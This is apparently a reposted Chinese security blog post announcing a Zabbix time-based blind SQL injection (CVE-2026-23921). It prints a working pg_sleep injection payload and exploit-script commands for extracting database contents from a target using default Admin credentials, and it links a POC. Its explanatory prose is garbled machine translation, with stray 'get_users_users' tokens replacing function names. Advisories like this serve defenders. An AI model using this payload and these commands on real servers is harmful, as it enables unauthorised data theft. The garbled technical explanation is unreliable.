漏洞预警:CVE-2026-23921 — Zabbix 基于时间的盲注 SQL 注入漏洞,重点有POC可复现

作者:小白安全成长记 发布:2026-09-23 20:01 收录:2026-09-23 22:29 4 次阅读 约 704 字
摘要:漏洞预警:CVE-2026-23921 — Zabbix 基于时间的盲注 SQL 注入漏洞,重点有POC可复现

CVE-2026-23921 — Zabbix 基于时间的盲注 SQL 注入

这个CVE大概是今年3月的时候提交的,也一直没有公开的POC,主要这个软件的用户体量不小,主要是运维侧监控用的,但是你要是拿到这个软件的权限,利用的点可就多了。主要存在内网居多,对于渗透测试的小伙伴来说看着心里痒痒,不过就在刚刚网上有大神给出了详细漏洞分析和POC,我们一起来一探究竟。

  • ●软件介绍: 运维圈知名监控软件,非常流行
    受影响版本: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
  • ●**CVSS:**高危
  • ●**类型:**基于时间的盲注 SQL 注入(通过sortfield参数)
  • ●**需要身份验证:**是(任何 API 用户;超级管理员可避免权限连接)

01漏洞

旧版 Zabbix API 服务(例如host.get`get_users_users`、 `get_users_users` trigger.get、item.get`get_users_users` 等)接受一个未声明的groupBy参数zbx_array_merge()。在`get_users_users` 中CApiService::applyQuerySortOptions(),该groupBy数组替换了用于验证的硬编码白名单sortfield。攻击者可以向 `get_users_users` 和 `get_users_users` 传递相同的 SQL 有效载荷groupBy——sortfield验证会针对攻击者控制的列表通过,并且有效载荷会直接进入 ` get_users_users`,而ORDER BY不会被转义。

攻击流程

  1. 攻击者发送groupBy: ["hostid,(SELECT IF(...))--"]并sortfield: "hostid,(SELECT IF(...))--"带有countOutput: true
  2. zbx_array_merge保留未声明的groupBy密钥
  3. applyQuerySortOptions``groupBy从→ 验证通过 构建白名单
  4. applyQuerySortField将有效载荷连接起来ORDER BY
  5. createSelectQueryFromParts构建最终 SQL 语句,无需转义

生成的 SQL(PostgreSQL)

●●●CODE

SELECT COUNT(*) AS rowscountFROM hosts hWHERE h.flags IN (0,4)ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50                   THEN pg_sleep(3) ELSE pg_sleep(0) END)--

02用法

●●●CODE

# PostgreSQL backend (default)python exploit_CVE-2026-23921.py \    --url http://TARGET/api_jsonrpc.php \    --user Admin --password zabbix --db pgsql # MySQL backendpython exploit_CVE-2026-23921.py \    --url http://TARGET/api_jsonrpc.php \    --user Admin --password zabbix --db mysql # Existing auth tokenpython exploit_CVE-2026-23921.py \    --url http://TARGET/api_jsonrpc.php \    --auth <token> --db pgsql # Extract arbitrary expressionpython exploit_CVE-2026-23921.py \    --url ... --auth ... --db pgsql \    --expr "current_user" # Use a different API methodpython exploit_CVE-2026-23921.py \    --url ... --auth ... --db mysql \    --method trigger.get --sort-col triggerid

03修复建议

请升级至 Zabbix 7.0.22 / 7.2.15 / 7.4.6 或更高版本。

该补丁替换了原有机制array_merge($options['groupBy'], ...),使得array_intersect($this->sortColumns, $options['groupBy'])攻击者提供的值永远不会进入白名单。此外is_string(),is_array()还添加了额外的类型检查,以增强防御深度。

04免责声明

POC:https://github.com/qucklecrabik/cve-2026-23921

此工具仅供授权的安全测试和教育用途。请仅对您拥有或已获得明确书面许可的系统使用此工具进行测试。


转载声明:本文转载自原发布平台 (作者:小白安全成长记), 原文标题《漏洞预警:CVE-2026-23921 — Zabbix 基于时间的盲注 SQL 注入漏洞,重点有POC可复现》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。